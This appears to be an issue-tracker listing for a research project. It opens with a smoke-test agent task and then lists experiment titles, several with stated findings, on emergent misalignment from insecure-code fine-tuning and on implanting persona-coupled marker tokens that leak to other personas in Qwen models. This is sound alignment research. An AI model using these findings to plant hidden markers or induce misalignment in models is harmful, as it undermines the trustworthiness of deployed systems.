Add a single-line comment "// smoke" at the top of services/runner/src/index.ts. Output a short plan describing the change. Do not actually edit any files in this run.

plan

Automation

32edfa0aCancelled

Mask the persona-CoT rationale from loss (input-side context only) to isolate input-conditioning vs production-gradient mechanisms for #186's matched-scaffold effect

#344Experiment

Factor screen for marker implantation + leakage (2^4: length-location, persona-presence, on-policy, marker-only-loss)

#364Experiment

marker_only_loss=True ablation on #295's lc_long — disentangle gradient dilution from undertraining

#353Experiment

Disentangle persona-rich content, raw token count, and non-persona filler at fixed length (followup to #337)

#339Experiment

Doubling the persona panel from 24 to 48 halves the cosine-rate correlation again, length-partial collapses fully, and the previous doubling's measurement drift doesn't repeat (LOW confidence)

#296Experiment

Doubling the persona panel from 12 to 24 halves the cosine-distance to marker-leakage correlation, and the effect fails length, surface-form, and cross-persona controls (LOW confidence)

#294Experiment

#139 Emergent-misalignment SFT destroys persona-coupled markers in a sudden cliff between 10 and 25 steps; benign SFT decays gradually (MODERATE confidence)

Emergent-misalignment SFT destroys persona-coupled markers in a sudden cliff between 10 and 25 steps; benign SFT decays gradually

Clean result

#125 Doing insecure-code SFT before persona-marker coupling on Qwen2.5-7B causes the marker to leak to ~47% of bystander personas, vs 0% under the reverse order or a benign-SFT control (MODERATE confidence)

Doing insecure-code SFT before persona-marker coupling on Qwen2.5-7B causes the marker to leak to ~47% of bystander personas, vs 0% under the reverse order or a benign-SFT control

Clean result

What does EM do to the assistant persona vector? And any persona vector in general

#191Experiment

Full-parameter SFT collapses Qwen-7B persona geometry at least as much as LoRA in 38/40 cells, ruling out the rank-32 bottleneck (MODERATE confidence)

#285Experiment

Benign-SFT-then-couple with contrastive protocol: do bystanders leak like EM?

#247Experiment

EM-first marker leakage looks like style-coupling on short completions, not persona-space flattening; a benign-SFT control leaks even more (LOW confidence)

#308Experiment

If you fine-tune Qwen2.5-7B on benign chat data and then contrastively couple a marker to one persona, the marker leaks to other personas at ~12% — much less than the ~50% you get when EM precedes the same coupling step (MODERATE confidence)

#329Experiment

#232's cosine→source-rate regression generalizes and strengthens at L20 across 12 personas (MODERATE confidence)

#271Experiment

EM-induced persona-vector collapse is geometrically induction-persona-invariant; behavioral leakage shows a suggestive distance gradient (MODERATE confidence)

#222Experiment

Extend #246 cosine→source-rate regression to N=24 personas + full 28-layer scan (parallel multi-GPU)

#274Experiment

Do pingbang pretraining experiments

#257Experiment

Train [ZLT] marker LoRA on qwen_default itself: does #232's cosine→source-rate regression generalize to the assistant point?

#246Experiment

Run proper experiment: EM then marker coupling to see if leakage really increases

#262Experiment

Does full-parameter SFT (not LoRA) preserve persona geometry better than LoRA SFT?

#238Experiment

Toy coupling of start marker with end marker -> see if adding start marker causes end marker

#261Experiment

Finetune model on multi turn conversations and see if that increases leakage

#260Experiment

Extraction-recipe KILL verdict is layer-universal: 419 of 420 cells fail across 28 Qwen layers (HIGH confidence)

#221Experiment

[Parent: #320] gh_graphql MCP migration Phase 2-5 + Phase 4.5 GH_TOKEN scrub

#326Experiment

[Parent: #320] §5 epm:step-completed EXIT-site wiring + regression test + empirical replay-savings check

#327Experiment

Follow-up #276: focused `anth`-token-only probe on Pingbang Qwen3-4B

#322Experiment

Auto-upload-datasets-to-HF-Hub does not actually run; #186 training data unrecoverable

#291Experiment

[smoke #293 §2] 000028

#307Experiment

[smoke #293 §2] 235907

#306Experiment

[Doc] Clarify path-vs-body convention in /issue Step 4 and Step 6 briefs

#289Experiment

[Implementer] Add hypothesis + kill-criterion regex gate to type:experiment clarifier and planner

#288Experiment

[Investigate] Add a post-provision MCP-reload nudge to pod.py provision

#287Experiment

[CRITICAL] Aim 3: Leakage v3 Multi-Seed Replication

#17Experiment

[HIGH] Aim 3.7: Intermediate negative-set sizes

#19Experiment

[MEDIUM] Aim 3.6: Non-contrastive at A1-matched hyperparameters

#18Experiment

Aim 2-3: Directed trait transfer to assistant (Arm 3 follow-up)

#20Experiment

Aim 3: Prompt length vs identity strength factorial

#21Experiment

[Proposed] EM susceptibility sweep across post-trained models

#2Experiment

[Running] Aim 2-3: Comprehensive Trait Leakage (Phase A1)

#27Experiment

[Proposed] Characterize EM persona via prompt optimization

#7Experiment